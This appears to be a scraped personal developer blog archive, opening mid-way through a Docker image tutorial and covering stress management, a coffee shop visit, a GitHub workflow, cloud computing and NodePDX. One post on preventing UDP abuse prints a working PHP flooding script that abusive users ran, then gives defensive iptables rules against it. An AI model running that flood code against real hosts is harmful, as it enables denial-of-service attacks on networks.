ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)

This time, since Docker realized it was the last reference to that image ID, docker rmi has an additional message indicating that it deleted it instead of just 'untagging' it.

But wait! It is still public at the Docker Index, isn't it? Let's check:

$ docker search scooby_snacks
NAME                    DESCRIPTION   STARS     OFFICIAL   TRUSTED
thoward/scooby_snacks                 0

Hmm.. Well this is handy, before we delete it, we can try docker pull and fetch it down like a "real" image and run it.

$ docker pull thoward/scooby_snacks
Pulling repository thoward/scooby_snacks
91acef3a5936: Download complete
8dbd9e392a96: Download complete

$ docker run -i -t thoward/scooby_snacks /bin/bash
root@90f6546bf3b7:/# ls -al
total 12308
drwxr-xr-x  30 root root     4096 Dec 13 07:03 .
drwxr-xr-x  30 root root     4096 Dec 13 07:03 ..
-rw-------   1 root root      208 Dec 13 07:03 .dockerenv
-rwxr-xr-x   1 root root 12516574 Nov 22 02:34 .dockerinit
drwxr-xr-x   2 root root     4096 Apr 11  2013 bin
drwxr-xr-x   2 root root     4096 Apr 19  2012 boot
drwxr-xr-x   6 root root     4096 Nov 22 06:52 dev
drwxr-xr-x  41 root root     4096 Nov 22 06:52 etc
drwxr-xr-x   2 root root     4096 Apr 19  2012 home
drwxr-xr-x  11 root root     4096 Nov 22 06:51 lib
drwxr-xr-x   2 root root     4096 Nov 22 06:51 lib64
drwxr-xr-x   2 root root     4096 Apr 11  2013 media
drwxr-xr-x   2 root root     4096 Apr 19  2012 mnt
drwxr-xr-x   2 root root     4096 Apr 11  2013 opt
dr-xr-xr-x 105 root root        0 Dec 13 07:03 proc
drwx------   2 root root     4096 Nov 22 06:51 root
drwxr-xr-x   4 root root     4096 Nov 22 06:51 run
drwxr-xr-x   2 root root     4096 Nov 22 06:51 sbin
-rw-r--r--   1 root root        0 Dec 13 06:27 scooby_snacks.txt
drwxr-xr-x   2 root root     4096 Mar  5  2012 selinux
drwxr-xr-x   2 root root     4096 Apr 11  2013 srv
dr-xr-xr-x  13 root root        0 Dec 13 07:03 sys
drwxrwxrwt   2 root root     4096 Apr 11  2013 tmp
drwxr-xr-x  10 root root     4096 Nov 22 06:51 usr
drwxr-xr-x  11 root root     4096 Nov 22 06:51 var
root@90f6546bf3b7:/#

It works!

Deleting a Published Repository

Unfortunately, to delete it from the public index/registry, we have to use the web interface, not the command-line.

First, login via the web then navigate to the repository at https://index.docker.io/u/thoward/scooby_snacks/.

Click on 'Settings' tab, then 'Delete Repository' tab, then the 'Delete Repo' button.

Back on the command-line we can verify it's gone with docker search scooby_snacks

$ docker search scooby_snacks
NAME      DESCRIPTION   STARS     OFFICIAL   TRUSTED

But of course, since we never deleted the local version of it after we pulled it back down, it's still going to show up in docker images, since we have a local copy:

$ docker images
REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE
thoward/scooby_snacks   latest              91acef3a5936        46 minutes ago      12.29 kB (virtual 131.3 MB)
ubuntu                  12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu                  latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu                  precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu                  12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)
ubuntu                  quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)

So to completely remove it we need to run docker rmi again.

$ docker rmi thoward/scooby_snacks
Untagged: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9
Deleted: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9

Not to worry, we can always rebuild it with our Dockerfile. :)

Important Security Lesson

It's really important to consider the security implications of what we just saw though.

Even if a Docker image is deleted from the Docker Index it may still be out there on someones machine. There's no way to change that.

Also, as we saw when looking at the files we have locally, it's not quite an "opaque binary" image. All the information from the Dockerfile was in the JSON file for the image, and the artifacts of those commands are in the layer, as accessible as a filesystem. If you accidentally published a password or key, or some other critical secret, there's no getting it back, and people can find as easily as they can find anything else in a published open source code base.

Be very careful about what you're publishing. If you do accidentally publish a secret, take it down right away and update credentials on whatever systems it might have compromised.

Conclusion

Docker can be a bit confusing with its terminology, but once you wrap your head around the basic workflow described here, it should be very easy to be in-control of what you're building, knowing exactly when and how you share that with the world.

Managing Stress as a Busy Person: The Three S's

2013-09-10T00:00:00+00:00

There are times when a productive person finds themselves overwhelmed with work. You'll look around and proclaim "there's no end to this" as your sense of priority fails you, switching from task to task without completing any of them. You spend too much time on simple or unimportant things. You get frustrated easily and can feel the blue smoke coming out of your ears, longing to escape the dilemma. It's ultimately unfair that the more capable you are the more work you get thrown at you, while those unproductive fools surrounding you laugh off your fervor, chortling away from their lap of leisure.

Well, there's a simple set of rules to solve this problem. Just like the three R's of waste prevention (reduce, reuse, recycle), there are three S's of the stressed over-producer (or alternatively the three D's):

D: Delegate

The first thing to do when facing an enormous workload is to try to share the load. It may not be obvious, but oftentimes the folks around you are more than willing to help out, if you simply ask them to. However, they may never offer to help if you don't ask for it, and share your needs. This can be hard, because letting go of control can seem impossible.

It may seem as though, if you don't do it yourself, it won't be done right.

Newsflash: you're already screwing it up by being so overworked. You're taking too long. You're too distracted to do a quality job. You can't even really remember what is important about what you're doing.

Stopping for a moment, explaining it to someone else, and letting go of the responsibility can be a tremendous relief. That relief is as valuable as your reduced workload from sharing. This should always be your first and best option when overworked. You'll make a new friend. You'll teach someone how to help you so it's easier to lean on them next time you're in this situation. You'll have someone to vent your frustrations to. Sharing is awesome!

Schedule

D: Defer

Sometimes, though, there's really no one who can help out. Or maybe people are already helping and there's still a ton to do. More than you and your entire army of helpers can do. But, here's the thing. Not everything actually has to be done right now.

I know, it may seem like it should be done right now, but beware that evil S-word, should. It will mess you up every chance it gets. Instead of "should", rephrase the question with "could".

Could this be done later?

- You

What would happen? How bad would life be if you waited until tomorrow, or next week, or next month to do this? When is the very latest time, if you were to put this off to, that you'd still have time to get it done?

Schedule it. You're not abandoning the work, you're just deferring it until later. Once you've given it a time slot on a schedule, you don't feel like you're letting anyone down. You're still committed to doing it, and in fact, by scheduling it properly, you're ensuring that it will get done at an appropriate time, instead of being screwed up by your current overworked self.

Scheduling is your friend. In fact, one can even take this idea so far, that you could categorize all your things to do into "things that I need to do now" and "things that can be put off until later", and avoid the equally bothersome task of setting a specific date for that deferred work.

"Don't do now what you can put off until tomorrow." Oh no, now we're starting to sound like our less productive peers. The difference is, you'll actually do it later. As you complete your "do it now" list, move over a nice manageable set of things from the deferred list and watch as it whittles away to nothing, slowly but surely.

Scrap

D: Delete

Well now look at that awesome "do it later" list we just made. It's got 500 items on it. It's time to get real here. How many of those things will you ever actually do?

Looking at a backlog of deferred work can be very frustrating. It can put us right back where we started, feeling like the work is endless.

Let's take a critical eye at that list. What can be removed? What things here are so unlikely to ever make it into the "do it now" category at some point in the future. Surely there is at least ONE thing in that list which can be forever deleted. Go ahead, don't be wishy-washy. Commit to deleting it.

Say "thanks, but no thanks" to that work. You don't do windows. You're not going to knit a sweater for your aunt, ever, no matter how much you like the idea of doing it. Just toss it, and feel good that your deferred list just got shorter, and all you had to do was hit DEL on your keyboard.

Bye bye frustration, hello clarity. You might even find, that once you get started deleting things, it gets addictive, and fun, and you might just delete the whole damned list, go for a walk and have a piece of cheesecake. And that might be exactly the right thing to do.

Conclusion

So wether you prefer to Share, Schedule, Scrap or Delegate, Defer, Delete, either way, with these tools in your back pocket, you'll be on top of that workload in no time. And don't even think about the 10 minutes you just spent reading this and how much work you didn't get done... :P

Man Eating Cats by Haruki Murakami

2013-08-12T00:00:00+00:00

Haruki Murakami is a wonderful writer. I recently came across this story online, but the version I was reading was the result of a terrible OCR job full of distracting artifacts.

So I decided to edit it, fix all the weird OCRness and turn it into a markdown Gist. You can now read it through the lovely tool, Gist.io.

Here's the finished version:

Man Eating Cats by Haruki Murakami

Code Snippet: iptables settings to prevent UDP abuse

2013-08-07T00:00:00+00:00

Recently, at AppFog, we encountered a series of abusive users attempting to cause havoc by flooding UDP.

Some basic iptables settings can prevent this kind of thing from happening.

The Attacker

Here's an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

 1<?php
 2ignore_user_abort(TRUE);
 3set_time_limit(0);
 4if(!isset($_GET['h']))
 5        exit('Hello World');
 6$lol = gethostbyname($_GET['h']);
 7$out = 'v';
 8for($i=0;$i<65535;$i++) $out .= 'X';
 9$dt = 10;
10if(isset($_GET['t']))
11        $dt = (int)$_GET['t'];
12if(isset($_GET['type']))
13{
14  if($_GET['type'] == 'tcp')
15  { 
16    $posttype = 'tcp://';
17  }
18  else
19  {
20    $posttype = 'udp://';
21  }
22}
23else
24{
25  $posttype = 'udp://';
26}
27$ti = time();
28$mt = $ti + $dt;
29while(time() < $mt){
30    if(isset($_GET['p']))
31      $port = $_GET['p'];
32    else $port = rand(1,65000);
33        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
34        if($sock){
35                ++$p;
36                $fwriteFile = fwrite($sock, $out);
37                fclose($sock);
38        }
39}
40$ps = round(($p*65536)/1024/1024, 3);
41$dt = time() - $ti;
42echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there's no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

1# allow dns requests to google nameservers
2iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
3iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
4 
5 
6# block all other udp
7iptables -A OUTPUT -p udp -j DROP
8ip6tables -A OUTPUT -p udp -j DROP

Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b

Alternatively, rate limiting can be employed as a more tolerant measure:

1# Outbound UDP Flood protection in a user defined chain.
2iptables -N udp-flood
3iptables -A OUTPUT -p udp -j udp-flood
4iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
5iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
6iptables -A udp-flood -j DROP

Gist: https://gist.github.com/thoward/6180165

Note: You'll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!

Code Snippet: untar.sh

2013-03-19T00:00:00+00:00

Simple untar script that does the obvious thing and creates a directory named after the tar file, then extracts a tar in that directory. This is a handy to install in user scope to augment tar.

 1#/bin/bash
 2 
 3# cross platform absolute path function
 4abspath() {
 5  [[ $1 = /* ]] && echo "$1" || echo "$PWD/${1#./}"
 6}
 7 
 8outd=`abspath ``basename $1 .tgz`` `
 9target=`abspath $1`
10 
11echo "extracting to $outd"
12(mkdir -p $outd && cd $outd && tar -zxvf $target)

This is available as a Gist here: https://gist.github.com/thoward/5201546

Troy Howard's Law of Distributed Computing Failure

2012-10-15T12:51:46+00:00

The more reliable the network becomes, the more that systems will take it for granted and the more catastrophic system failures will be.

- Troy Howard

Barista Downtown: Trip Report

2012-07-24T00:00:00+00:00

In our little corner of downtown Portland, good coffee isn't hard to find. We've got some amazing options within only a few blocks of our office. Nonetheless I was very excited for the opening of new Barista location about 1/2 a block away. So excited, that I took a field trip with a bunch of my coworkers to go check it out.

I decided to document the trip so I could report back to Chris Tacy, one of the AppFog folks base in SF (who also happens to be General Manager, Retail for Stumptown and super into coffee in general).

The Trip

During the trip, my fellow explorers were Robert, Kofahl, and Luc.

You can see the excitement in their eyes as Robert does a mandatory tie check, Kofahl inspects the wallet, and Luc stares into the abyss, waiting for it to start staring back.

Shot from sidewalk in front of AppFog's old office.

Though we are pretty close in our new office, the old office is even closer. In fact, it's literally next door to the new Barista spot. Unfortunately for us, we moved out right before they opened. Janrain, however is in the same building, and has primo access to this spot. I imagine we'll be running into those folks a lot here.

A frame sidewalk sign, outdoor seating in upper right corner, hipster bike behind sign.

While walking around Portland, look out for this sign. You can be assured good coffee will be inside.

At this point Luc, who had been staring into the abyss this whole time, finally caught it staring back. But to his surprise, it was the abyss in his empty stomach, not his soul (or whatever metal-ass shit he expected it to be) and so, Luc bailed to go get food instead of joining us for coffee. No one said this would be an easy journey. Many valiant explorers have been lost before, in less than half a block, with lesser impressive coffee destinations ahead.

Entering the shop

As you walk in from the sidewalk, there's a small hallway, and the entry to the shop is to your left through a normalish door. This creates a bit of a weird traffic pattern, since the ordering spot is right by the door, and so whoever is ordering is essentially blocking the entrance.

Whatever. Older spaces cause weird traffic patterns. I'm completely OK with that. Really.

Tiled floor, Troy's shoes on left, Kofahl's on right.

One of my favourite genres of music is shoegaze, equally for it's use of guitar effect pedals, as for it's mopey demeanour and the fact that you get to check out lots of sweet tile jobs. This place delivers on the tile job. Nice looking floor, and cool indie-rocker shoes.

Three employees. The cash register operator, back-liner, and machine operator

This place is not slacking when it comes to labour cost overhead. They've got three extremely talents folks in what looks like a roughly 6x20 space. By all appearances, they run a tight ship.

Standing at counter, looking out towards street.

The space that the shop is in, is an old commercial storefront in the ground floor of an office building.

In days past, these street-level stores had great display areas to entice and delight window-shoppers as they walked by to pop in and buy a hat, watch, dress, or whatever.

In the front of space there is a large bay window with floor-to-ceiling glass, and super tall ceilings. Instead of eye-catching wares, the window is lined by thin marble topped standing-only counters.

Some beans for sale

Like any good coffee shop, they also sell beans. Today they had beans for sale from Heart and Coava, which are two of my favourite local roasters. One of the great things about Barista is that unlike many of the local shops, they don't roast their own beans. Instead they offer a selection of some of the best beans available (both local and not).

Variety is always nice, and I love it when I get to try something new and learn about a new roaster.

Standing at counter, our orders being taken

On to the order. For Kofahl and I; macchiatos. For Robert, a soy-mocha. There were multiple bean selections available, but being trusting folks, we went with "barista's choice".

The barista at work. La Marzocco machine, including kitschy sign

One the counter to the left, in all it's steam-plume-spouting glory is a brand spanking new La Marzocco Strada MP machine, this one in matte black. An impressive machine, with an impressive barista wielding it's power.

Bad picture of Kofahl

Meanwhile, Kofahl poses for a picture... not really.

Better picture of Kofahl, plus finger

Kofahl is disappointed with my terrible phone-photography skills. I can understand that. My finger agrees.

Hallway just outside of the shop

While our drinks are being made, I go for a little wander around the grounds. Just outside in the hall, there is a row of "world clocks" for various Portland city locations around the US... and here I thought we were the only one! ;)

Kofahl, in profile, barista prepares our beverages in background

To make up for my terrible attempts at catching Kofahl in an action shot earlier, I try to take a more flattering picture. Yeah, I'm not really very good at this.

Robert, waiting patiently for his beverage. Barista close to completion, saucer and spoon prepped

Quality takes time and appreciating quality takes patience. Robert, a support engineer, is a paragon of patience.

Kofahl, sucking light out of barista's head

Meanwhile, Kofahl busies himself by sucking the knowledge out of the barista's head, which manifest as a stream of light. OK, maybe not really, but I enjoy the accidental imagery.

Kofahl sipping his macchiato. Robert's hands form a spiky heart, cellphone pendulous in his shirt pocket. The tile floor remains in place.

The first of our drinks arrive and Kofahl enjoys the honour of the initial sip. We watch pensively, jealously imagining how awesome the experience must be, living vicariously.

The macchiato post-sip. Portland buildings from across the street reflected in marble top

That first sip was too intense. Kofahl needs to take a break. We discuss in abstract terms. I think his brain can't quite process the coffee's greatness. Kofahl summarizes, "Pretty good"; the understatement of the century?

Troy's macchiato pre-sip. Foamy top bulges against hydrogen bonding. Physics losing the battle against barista skills.

My macchiato arrives and I take a moment to capture it in its pre-sip state. A beautiful bulge of milky foam sets on top, barely contained by the diminutive cup. A wonderful presentation.

Conclusion

So, my personal overall conclusion? It's the best coffee-shop within one block of our offices. IMO, one of the best downtown. I'll still head over to Blue Collar Baking for their amazing bundt cakes, and because they use Water Avenue Coffee, which is one of my favourite roasters in town. There is no compelling reason to go to Stumptown on 3rd unless you wish to sit down and work (which is not possible at this location).

The setup is very much like Spella (though larger); Italian style, standing room only, with minimal outdoor seating. You're meant to get a quick espresso/macchiato, and lounge standing-up with your conversation partner while you sip. The whole experience should take no more than 10 minutes. In and out, a quick diversion on your way to somewhere else.

The service was fast and friendly. When we arrived at ~1:15pm on a Tuesday, there were a total of 6 other patrons (three sets of two). This low traffic is probably due the fact that they just opened up. We'll keep track of how the traffic increases as awareness grows.

Some Other Random Comments

Kofahl and I were both very pleased with our coffee. My feeling is that it still has a 'new machine' taste, which means, to me, that it has a very clear presentation of the coffee's body with an understated 'creaminess'. To me, it seems that as a machine gets broken in, over the course of the first few months of heavy use, that the character of the coffee changes a bit, providing a more blended flavour with a stronger 'creaminess'. These of course, are just my made up ways of describing something that I really have no idea how to talk about. It's also possible I'm completely imagining this and just looking for reasons to say pretentious things.

Kofahl comically scraped the last of the coffee out of the cup with his little spoon, because it was that good. I used my finger.

Robert comments that the soy-mocha was the best he has ever had. Not sweet, some cinnamon notes in the chocolate. Very smooth.

We are pleased.

How We Use Github To Build AppFog

2012-05-24T08:00:16+00:00

Joining AppFog back in February became my first time working for a company using Github private repositories for source control. My previous gig used Bitbucket and Mercurial, which we migrated to from self-hosted SVN, which we migrated to from SourceGear Vault, which we migrated to from Visual Source Safe... etc. That's how things go at a 12-year-old company, I guess.

As a startup, AppFog can start off on the right foot and just use Github from the get-go. Yippee!

I have used git and Github for a while in open source projects and know the typical workflow of forking and submitting pull requests. AppFog's workflow is very similar. Here's how we approach it.

Setting Up Your Personal Fork

The AppFog organization has a number of projects in it. Everyone in the organization has commit access and can create/destroy/modify any of the repositories. We could just clone the repository down, edit the code, commit and push to master...but there's a better way.

Our approach is for each developer to create a fork of the project they want to work on.

For example, suppose we have a repository in the AppFog org called yummy-sandwich. I'd head on over to the project page at https://github.com/appfog/yummy-sandwich and click the Fork button near the top of the page.

Once the "hardcore forking action" is over, I now have my own personal fork at https://github.com/thoward/yummy-sandwich.

I can clone that to my dev machine:

git clone git@github.com:thoward/yummy-sandwich

One thing you'd notice there is that git clone adds the origin automatically. That's great and all, but doesn't do much for me. I need an easy way to pull upstream changes into my personal fork from the main repository. To do that, I'll hop into that directory and add the upstream remote:

git remote add upstream git@github.com:appfog/yummy-sandwich
git fetch upstream

That's the basic setup.

Modifying The Code

Now that I've got my personal fork configured, I can do whatever I'd like to it without disturbing our pristine shared repository... but to keep things organized and clear, I'm not just going to start tweaking bits and committing to master. Instead, I'll work entirely on topic branches, regardless of how small or large a change is.

The following steps detail how to create a branch, update the code, push changes to the remote, and bring these changes to the attention of the person responsible for merging pull requests.

First, I'll bring the master up to date using that upstream remote I created.

1# switch to master
2git checkout master
3
4# pull in latest code
5git pull upstream master

This will pull all recently-merged changes from the main appfog/yummy-sandwich repository into my personal fork. Next, I'll create the branch that I'm going to work on. The naming of the branches takes a special structured form.

Branch Names

We break down the work we do into four distinct types of tasks: bugs, features, chores and hotfixes.

A bug is a normal bug fix of existing functionality.

A feature is new functionality.

A chore is something that adds business value, but doesn't qualify as a feature (e.g. refactoring).

A hotfix is when we need to fix an immediate problem on a server (if you're using hotfixes, you're probably doing something wrong).

The branch name itself consists of the branch type, a brief underscore-separated description, and an optional Github Issue number. They are in the format of type/a_brief_description_#.

Suppose I wanted to fix a bug where shared users aren't able to login to the site. After creating the Github Issue, I would name the branch bug/shared_users_cant_login_123 where 123 is the issue number.

Creating the Topic Branch

To create the branch, run git checkout -b <branch name>, where <branch name> is the type/description/id name we just described. For example, using our hypothetical bug fix task from before, I'd run:

git checkout -b bug/shared_users_cant_login_123

Once I've created the branch using the checkout command, follow the normal process of changing code, add/commit, and wrap it up with:

git push origin HEAD

After that, use the GitHub web interface to select the branch from the Current Branch dropdown and issue a Pull Request back to the original project. So, start to finish, here are the steps to get some work done...

Steps To Work On The Branch

Checkout master: git checkout master
Pull in updates: git fetch upstream
Merge updates into master: git merge upstream/master
Create the branch: git checkout -b bug/branch_description_123
Make the code changes
Stage changes for commit: git add <changed filenames>
Commit changes: git commit -m "This is a descriptive commit message"
Push changes to my personal fork: git push origin HEAD
From GitHub, select the branch from the Current Branch dropdown and issue a Pull Request

Pull Request Guidelines

There are some basic guidelines around creating pull-requests.

Just Say No To Auto-Merge

Don't auto-merge the pull request through Github's interface. Ever.

Explain the Pull Request

Why is this pull request here? The branch name should be a brief description, but the pull-request itself should have a slightly more detailed description. Leave a nice, clear description about what the branch is for and why. Reference any issues if necessary. Github makes this super easy. You can just type something like #420 and it will auto-link the issue in.

Don't Commit Gemfile.lock

This one is Ruby-specific. If you didn't make changes to Gemfile, don't commit Gemfile.lock.

Config Files

This one is Rails specific, and is a bit of hyperbole, but relates to our process of using git. If the branch requires the creation of a new config file, say so in the description in big, bold text.

Also do the following:

Add the config file to .gitignore. We do not store our configs in source control.
Provide an example of your config file suitable for development purposes at config/myconfig.example.yml where myconfig is your config and yml can be any format.

We have a rake task configs:copy that can find those example config files and copy them to the normal names. This is handy when developing locally. On the production servers, the config files are managed separately from source code and are linked into the config directory from another location.

Here's the configs:copy rake task:

 1namespace :configs do
 2
 3  desc "Copy config/*.example.yml files for development."
 4  
 5  task :copy do
 6
 7    require 'fileutils'
 8    examples = Dir["config/*.example.*"]
 9    
10    examples.each do |example|
11    
12      extname = File.extname(example)
13      realbase = File.basename(example, ".example#{extname}")
14      realpath = File.join("config", "#{realbase}#{extname}")
15
16      unless File.exists?(realpath)
17
18        FileUtils.cp(example, realpath)
19        puts "copied #{example} => #{realpath}"
20
21      end
22    end
23  end
24end

Merging

Once the pull request is made, it is now the responsibility of the merge master to accept or reject the changes. Being the merge master is a rotating responsibility which involves looking over the pull requests, reviewing the code, and possibly asking the developer to make additional changes, add more unit test, etc. –– this is our opportunity to discuss the changes in detail and introduce some standards and process for code quality.

When a pull-request is merged in, we'll do that onto a special qa branch in the main repository. Here we can get all willy-nilly and try out the code, blow away the changes, or what have you. If everything looks good, then we merge from the change set in the qa branch that’s in a known-good state, finally, into the master branch on the main project. The qa branch is also the target that our continuous integration system watches, which, when updated kicks off our continuous delivery pipeline.

Conclusion

At AppFog we make it a practice to continually review and improve our workflows when we’re working with GitHub (or any tools for that matter). We are always looking for ways to reduce complexity while still getting the same or even better results.

One of the things we’re currently considering is moving away from personal forks and instead just working with topic branches right in the main project. This should keep things just as organized but reduce the complexity of the process significantly. One radical member of our team suggests never using branches. So far, we smile and nod. He may convince us someday.

We're also rethinking the merge master role, opting instead to distribute the responsibility for merging code across the team but with the axiom “never merge your own code”, ensuring that code review is baked into the process.

We’ll keep you posted!

Additional Resources

Embarrassingly Cloudable

2012-03-20T14:12:11+00:00

These days the world is abuzz with talk of cloud computing. Many of the more experienced developers out there chuckle at the term cloud computing. No one seems to know what cloud computing is, exactly, but everyone seems to be talking about it, offering services around it and has a great new idea for how to revolutionize something using it.

Anyone who made it through the tech world of the nineties will be all too familiar with diagrams like the following:

Note the internet cloud. The cloud symbol, in PowerPoint diagrams everywhere, always meant "something complicated that just works". It might be the internet. It might be the phone network. It might be some other opaque process that you just don't care to explain in detail.

At its core "cloud" means "ambiguity". That's why it's a cloud. Just like a foggy road at night: you can't see through it and you can't understand it. However, the more subtle meaning of the cloud icon is that it's reliable. You don't know how it works or why but you know that the arrow goes in one side and comes out the other and you can rely on that behaviour.

This is what we mean by cloud computing. It's reliable and it's a black box. It doesn't matter how it works or what it does as long as it continues to work. That's someone else's problem. I'm sure they have detailed diagrams somewhere that explain how the cloud works (and those diagrams probably have OTHER clouds in them for services they depend on that just work that they don't feel like explaining).

What else does it mean?

Cloud computing has come to mean something a bit more detailed. In fact, there are more detailed terms to talk about all the various things cloud computing is. It's more of a collective term to describe a variety of services for modern computing needs. You may have heard of SaaS aka "Software as a Service". Then there's IaaS, PaaS, and lots of other *aaS things out there. The key part is "as a service". The service part means someone else does it for you so you don't have to.

There's storage in the cloud, music in the cloud, friends in the cloud, applications in the cloud. There are services out there, on the internet, that do things for you so you don't have to. They organize and store your music for you and give you access to it from anywhere that has an internet connection. They can even suggest new music for you that you haven't heard about. They can do that with movies too. Great! No need for CDs, video tapes, VCRs, etc.. No more self-managed media access/devices. There are email services so you don't have to run a local Exchange server. Yada yada yada.

Embarrassingly Parallel

A while back the computing world was obsessed with parallel programming. Actually, we still are but people aren't talking about it quite as much as they were a couple of years ago. Why was it such a big deal then? We kind of hit a wall with Moore's Law. Processors couldn't get significantly faster, so code had to either get faster or more parallelized. Not everything can get faster or be parallelized but usually things that can't get faster can get parallelized.

However there are quite a few programming problems which could be parallelized but weren't. Those things became known as "embarrassingly parallel" problems (note: this term has been in use for a LONG time, far before a few years ago). Embarrassing, IMO, because they should have been parallelized from the beginning because they are so well suited to parallelization. The fact that they weren't parallel already meant we just didn't care about efficiency because Moore's Law made efficiency seem pointless to spend time on.

This should also be applied to cloud computing and we can use the term "embarrassingly cloudable".

What are Embarrassingly Cloudable Problems

Every product that exists and thrives in the internet ecosystem needs a host of services to play well in that environment. At the basic level, it needs a machine with an OS to run on, network access, possibly a database to store information in, possibly a runtime environment like the JVM, CLR, or Ruby. Those things are the core services offered by the IaaS and PaaS offerings we have today. But we can take this a bit further... what about user and identity management? What about social networking? These are all things we want to have in every application on the internet but end up re-writing OVER and OVER again and never see the benefit of "economies of scale" that a centralized resource would have.

A list of some common embarrassingly cloudable problems:

Operating Systems
Networking and Network Security
Configuration Management
Continuous Integration and Automated Deployment
Databases and File Storage
Logging
User and identity management and authentication
Social graphs and networking
Performance Management/Monitoring (thanks @bobuva)
Routing, proxying and cacheing
etc...

Take a moment and think through your current product/project. How much of what you spend time on could be moved into a "cloud-based service" (aka, something you didn't write, you don't manage but fulfills its function reliably and in a generalized multi-tenant manner)? What pieces are cross-cutting through numerous applications? You might be surprised that there is probably already a service available to replace that for you.

Don't repeat yourself and don't waste time managing things that aren't part of your company's core competency or aren't relevant to your product's primary differentiators. Don't roll your own. If you are, you should be embarrassed.

bratmatic

2012-03-12T16:01:00+00:00

Coding by Moonlight

2012-03-08T20:37:30+00:00

NodePDX: The Tech Conference Not to Miss

2012-02-07T13:55:17+00:00

Some Reflection On Node.js

Node.js is a strange beast. It's a technology that might just be worth the hype surrounding it. In this day an age, when everyone expects ‘viral' to be part of their marketing campaign, when something actually does become popular rapidly and ends up with a bunch of people talking about it, it's easy to discount the validity of the hype. Especially when it's something as unexpected as serious developers being outspoken about how amazing JavaScript is.

It's almost like you're living inside of a bad joke... But I gotta tell you all, this is no joke. Node.js really is all that and it doesn't matter what the business folks say, what the marketing folks say or what the jaded developer to your left snidely derides. This is serious technology and it's relevant.

Why Portland?

So you all have seen Portlandia, right? Well, it's true. We here in Portland are a bit off our rockers and we're passionate about a lot of things. We're living proof that even though idealism may not apply globally, it can certainly live in a bubble and work here. As you might expect, we have a very idealistic software development community here.

This is the land of fancy beer drinking beardos and blue haired pierced-'n-tatted gender-benders who crank out wicked bleeding-edge open source code on their sticker-encrusted macbooks and who look at you like you're speaking a foreign language when you talk about LOB apps, COM+, or "enterprise solutions". It's only natural that Portland would become a center for innovation and adoption of emergent technologies. We may not have the vibrant start-up culture of SF or NYC ( or do we ? ) but I guarantee you we care about technology more than your average bear.

NodePDX == Node.js + Portland

Portland was a natural environment for hosting the two main conferences of 2011 for JavaScript and Node.js. Apparently the weather scared them away. While NodeConf will be returning this summer, NodeSummit took place in sunny business-friendly San Francisco and JSConf has chosen the dusty and dry environs of Scottsdale, Arizona this year (yep, PDX has 384% the rainfall, and we ~~deal with~~ love it!).

Well, we still admire JavaScript here in Portland. Business interest or no business interest, we want to share, talk and hack together as a community indulging in our excitement for what has already been called the "Technology of The Year" for 2012 (who decides these things anyway?).

That's what NodePDX is all about. This is a grassroots, independent, non-commercial conference. That means that everything is donated. Everything, including the event venue (thanks NedSpace), the screen, the microphone (thanks PIE), the projector, the t-shirts, the on-site massage therapist (thanks AppFog), the logo (thanks Julie), and even the hosted open-bar after party (thanks New Relic)... oh, and all the speakers, and the volunteers, who are doing this out of their passion for legit technology, without even thinking about money (not that we have anything against money. We love money. It allows us to buy beer, laptops and food... Without those things we couldn't hack on JS all day and night, duh).

So, put on your thinking cap (and if you're not from here, grab your umbrella) and come join us for a couple days of raw geekery. I guarantee you'll learn something and have a good time doing it.

Chuck Norris vs Shift

2012-01-27T08:02:51+00:00

Chuck Norris vs Shift

It's my second to last day at discover-e Legal before moving on to AppFog and it's probably the most important day of the year for the company.

Every year, and only once a year, there's a huge industry trade show called LegalTech New York. Every company in the industry shows up there and so does every buyer. They all vie for one another's attention for three days and if you're lucky, you end up being the company with the product that gets talked about for the next nine months of the year afterwards.

Were going to be there to pimp the latest and greatest features in our online data processing product, shift. We didn't have much of a marketing campaign put together so over the course of the last week we just kind of went Leeroy Jenkins with it and started a campaign based around the one, the only, Chuck freaking Norris!!

So we started this twitter account: @ChuckNorrisofLT

...and then we were like "oh and we need T-SHIRTS!!!!"

So this happened:

And thanks to my good friend Brian Bloodgood over at Blue Mill Screen Printing, there will be 100 of these, for-real, in only a day or two. You rock!!!

UPDATE!!

Walla-walla-bing-bam-boom! Blue Mill pulled off a turn around of less than 24 hours on 100 shirts!

NodePDX Logo Concepts

2012-01-25T23:26:10+00:00

I'm working with designer Julie Olver to create an awesome logo for NodePDX 2012. Here's the initial concept she sent over today:

I liked that, but thought two things: the "dot" in "Node (dot) js" is kind of important and I wasn't too excited about yellow (what will it look like in a b/w print out)? So I made some color suggestions and a crappy square dot.

Also the font was not terribly legible, so she mocked up the logo with some other font choices:

Working with Julie is great. She takes feedback to heart and turns around new ideas quickly. I'm really lucky that she's willing to donate her time and energy, for free, to help out our community conference. Portland is a great place with an awesome community of talented creative people.

Unfortunately they all look a little too awesome... which means I can't decide. What a terrible problem to have!!

So dear readers, thoughts? Which one do you think looks the best?

UPDATE:

Here's another variation on the logo concepts and some "in the wild" screenshots of what it would look like on the NodePDX website.

Screenshots:

Echo & The Bunnymen-Lips Like Sugar (Way Out West Remix Edit)

2011-07-02T05:56:00+00:00

Serious geek fest

2011-07-02T05:53:34+00:00

Nexus Contraptions

Portland (by Rowdy Kittens)

